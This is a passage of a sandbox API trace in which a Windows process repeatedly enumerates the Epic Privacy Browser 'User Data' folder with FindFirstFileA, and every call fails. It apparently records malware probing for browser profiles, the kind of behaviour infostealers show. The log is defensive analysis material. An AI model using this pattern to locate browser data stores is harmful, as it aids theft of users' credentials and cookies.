[0052.802] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Epic Privacy Browser\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\epic privacy browser\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x98, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x1010023, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.802] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Epic Privacy Browser\\User Data\\\\*.*") returned 71
[0052.802] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Epic Privacy Browser\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\epic privacy browser\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x98, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x1010023, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.802] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Epic Privacy Browser\\User Data\\\\*.*") returned 71
[0052.802] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Epic Privacy Browser\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\epic privacy browser\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x98, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x1010023, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.802] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Epic Privacy Browser\\User Data\\\\*.*") returned 71
[0052.802] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Epic Privacy Browser\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\epic privacy browser\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x98, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x1010023, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.802] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Epic Privacy Browser\\User Data\\\\*.*") returned 71
[0052.802] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Epic Privacy Browser\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\epic privacy browser\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x98, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x1010023, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.802] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Epic Privacy Browser\\User Data\\\\*.*") returned 71
[0052.802] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Epic Privacy Browser\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\epic privacy browser\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x98, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x1010023, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.802] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Epic Privacy Browser\\User Data\\\\*.*") returned 71
[0052.802] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Epic Privacy Browser\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\epic privacy browser\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x98, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x1010023, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.802] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Epic Privacy Browser\\User Data\\\\*.*") returned 71
[0052.803] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Epic Privacy Browser\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\epic privacy browser\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x98, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x1010023, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.803] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Epic Privacy Browser\\User Data\\\\*.*") returned 71
[0052.803] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Epic Privacy Browser\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\epic privacy browser\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x98, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x1010023, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.803] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Epic Privacy Browser\\User Data\\\\*.*") returned 71
[0052.803] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Epic Privacy Browser\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\epic privacy browser\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x98, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x1010023, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.803] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Epic Privacy Browser\\User Data\\\\*.*") returned 71
[0052.803] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Epic Privacy Browser\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\epic privacy browser\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x98, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x1010023, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.803] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Epic Privacy Browser\\User Data\\\\*.*") returned 71
[0052.803] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Epic Privacy Browser\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\epic privacy browser\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x98, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x1010023, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.803] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Epic Privacy Browser\\User Data\\\\*.*") returned 71
[0052.803] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Epic Privacy Browser\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\epic privacy browser\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x98, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x1010023, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.803] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Epic Privacy Browser\\User Data\\\\*.*") returned 71
[0052.803] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Epic Privacy Browser\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\epic privacy browser\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x98, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x1010023, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.804] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Epic Privacy Browser\\User Data\\\\*.*") returned 71
[0052.804] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Epic Privacy Browser\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\epic privacy browser\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x98, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x1010023, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.804] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Epic Privacy Browser\\User Data\\\\*.*") returned 71
[0052.804] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Epic Privacy Browser\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\epic privacy browser\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x98, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x1010023, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.804] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Epic Privacy Browser\\User Data\\\\*.*") returned 71
[0052.804] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Epic Privacy Browser\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\epic privacy browser\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x98, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x1010023, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.804] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Epic Privacy Browser\\User Data\\\\*.*") returned 71
[0052.804] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Epic Privacy Browser\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\epic privacy browser\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x98, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x1010023, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.804] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Epic Privacy Browser\\User Data\\\\*.*") returned 71
[0052.804] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Epic Privacy Browser\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\epic privacy browser\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x98, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x1010023, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.804] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Epic Privacy Browser\\User Data\\\\*.*") returned 71
[0052.804] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Epic Privacy Browser\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\epic privacy browser\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x98, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x1010023, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.804] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Epic Privacy Browser\\User Data\\\\*.*") returned 71
[0052.804] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Epic Privacy Browser\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\epic privacy browser\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x98, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x1010023, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.804] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Epic Privacy Browser\\User Data\\\\*.*") returned 71
[0052.804] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Epic Privacy Browser\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\epic privacy browser\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x98, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x1010023, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.804] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Epic Privacy Browser\\User Data\\\\*.*") returned 71
[0052.804] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Epic Privacy Browser\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\epic privacy browser\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x98, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x1010023, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.805] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Epic Privacy Browser\\User Data\\\\*.*") returned 71
[0052.805] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Epic Privacy Browser\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\epic privacy browser\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x98, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x1010023, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.805] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Epic Privacy Browser\\User Data\\\\*.*") returned 71
[0052.805] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Epic Privacy Browser\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\epic privacy browser\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x98, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x1010023, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.805] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Epic Privacy Browser\\User Data\\\\*.*") returned 71
[0052.805] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Epic Privacy Browser\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\epic privacy browser\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x98, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x1010023, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.805] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Epic Privacy Browser\\User Data\\\\*.*") returned 71
[0052.805] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Epic Privacy Browser\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\epic privacy browser\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x98, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x1010023, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.805] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Epic Privacy Browser\\User Data\\\\*.*") returned 71
[0052.805] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Epic Privacy Browser\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\epic privacy browser\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x98, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x1010023, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.805] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Epic Privacy Browser\\User Data\\\\*.*") returned 71
